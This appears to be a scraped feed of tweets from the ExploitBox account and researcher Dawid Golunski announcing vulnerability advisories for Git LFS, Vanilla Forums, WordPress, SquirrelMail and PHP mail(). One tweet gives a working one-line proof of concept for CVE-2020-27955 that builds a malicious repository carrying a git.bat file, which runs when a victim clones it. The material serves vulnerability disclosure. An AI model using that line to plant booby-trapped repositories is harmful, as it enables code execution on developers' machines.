ExploitBox

A Playground & Labs For Hackers, Bug Hunters, Researchers & Other #Security Folks. To learn, share and pwn.

-- Created by @dawid_golunski

[ExploitBox @Exploit_Box]

Git & GitHub CLI Remote CodeExec #RCE #exploit via Git LFS CVE-2020-27955 @dawid_golunski

Repo clone to Pwn ;) Full advisory with #PoC at
https://t.co/n0vnrcSUCg

#cybersecurity #infosec #hacking #security #0day #git #github cli #vuln #DevOps

[Dawid Golunski @dawid_golunski]

Here's the gist. My git lfs RCE #exploit CVE-2020-27955 fits in a tweet ;) @Exploit_Box

https://t.co/wkCnjqKSwK

git lfs track "*.dat" ; echo vuln>lfs.dat ; git add .* * ; echo "echo DG>GITHACKED" >git.bat ; git commit -a -m 'git pwned'
#infosec #cybersecurity #security #vuln

[ExploitBox @Exploit_Box]

Fresh and juicy Git-lfs #RCE CVE-2020-27955 #exploit #vulns by @dawid_golunski are up at https://t.co/g5sXwp3jvm
#GitHub Desktop gh CLI #git #GitKraken Visual Studio #SourceTree ..pretty much the whole Windows #dev world affected ;)
#coding #vuln #exploit #0day #infosec

[ExploitBox @Exploit_Box]

Git / GitHub CLI / Git LFS exploit PoC CVE-2020-27955 @dawid_golunski
#vuln #infosec #coding #security
https://t.co/fPTX1lGMeK

[ExploitBox @Exploit_Box]

Git LFS Critical #RCE #vuln CVE-2020-27955 by
@dawid_golunski
#exploit Allows to achieve RCE via a clone of a malicious repo.
Tens of dev IDEs and git clients affected in default config #0day #git #github #security #infosec #0day #devops #coding
https://t.co/4xSRHlS7H5

[ExploitBox @Exploit_Box]

Time flies like a dragonfly ;) ExploitBox https://t.co/g5sXwpkUTW is back on track! Aiming for BETA launch by x-mas! Meanwhile, some new juicy vulns coming up later on this week :) #infosec #exploit #vuln #hacking #security
https://t.co/Z5q7Sn2zyT

[ExploitBox @Exploit_Box]

[ Adv. #vuln2 ] Vanilla Forums 2.3 Host Header Injection CVE-2016-10073 #0day #infosec #exploit by @dawid_golunski

https://t.co/zQfqyK6zMC

[ExploitBox @Exploit_Box]

Vanilla Forum 2.3 - Pre-auth #0day Remote Code Exec. - #vuln #RCE #exploit by @dawid_golunski
#infosec #security

https://t.co/zVKuTSNTwr

[ExploitBox @Exploit_Box]

Vanilla Forums 2.3 (latest ver.) - Critical #0day Remote Code Execution #RCE #exploit by @dawid_golunski #infosec

https://t.co/Nfi7giHqPF

[Dawid Golunski @dawid_golunski]

[Adv.Update] #WordPress 4.7.4 Unauth. Pass Reset
Example scenarios divide into requiring interaction and no inter.

https://t.co/d8g3kDzo0W

[ExploitBox @Exploit_Box]

CVE-2017-8295 #0day #Wordpress 4.7.4 Potential Unauth Password Reset #vuln #exploit #infosec by @dawid_golunski
https://t.co/TdmLamIrOc

[ExploitBox @Exploit_Box]

The paper 'Pwning PHP mail() function For Fun And RCE' by @dawid_golunski is out. #RCE #exploit #phpmailer
https://t.co/IxmBFqDEEa

[ExploitBox @Exploit_Box]

#WordPress #RCE #vuln #exploit has been published and sent out to subscribers.
Uncover some interesting vectors:

https://t.co/KVytFXLqli

[ExploitBox @Exploit_Box]

Getting closer to releasing the @dawid_golunski #WordPress #RCE #exploit write-up +src. It's a long one
#infosec
Stay hungry. Stay pwny ;) https://t.co/fplzgPN184

[ExploitBox @Exploit_Box]

[#Wordpress #RCE #exploit by @dawid_golunski] Subscribers first to get link to the writeup & src #security #infosec
https://t.co/Z5q7Sn2zyT

[ExploitBox @Exploit_Box]

[#Wordpress #RCE #exploit by @dawid_golunski] Subscribers first to get link to the writeup & src #security #infosec
https://t.co/Z5q7Sn2zyT

[Dawid Golunski @dawid_golunski]

[Advisory] SquirrelMail <=1.4.22 Auth. Remote Code Exec
#exploit #0day #cybersecurity #infosec #vuln #hacking #rce

https://t.co/nqZgfrXlQB

[ExploitBox @Exploit_Box]

[ExploitBox - Playground for #infosec ] Juicy #security #exploit #vuln coming up for subscribers. Stay tuned! :)

https://t.co/sNfFEtZVYB

[ExploitBox @Exploit_Box]

ExploitBox -A Playground For #infosec #Security #cybersecurity Folks.
Subscribe to get #0day access to the site

https://t.co/3ohJxmYjER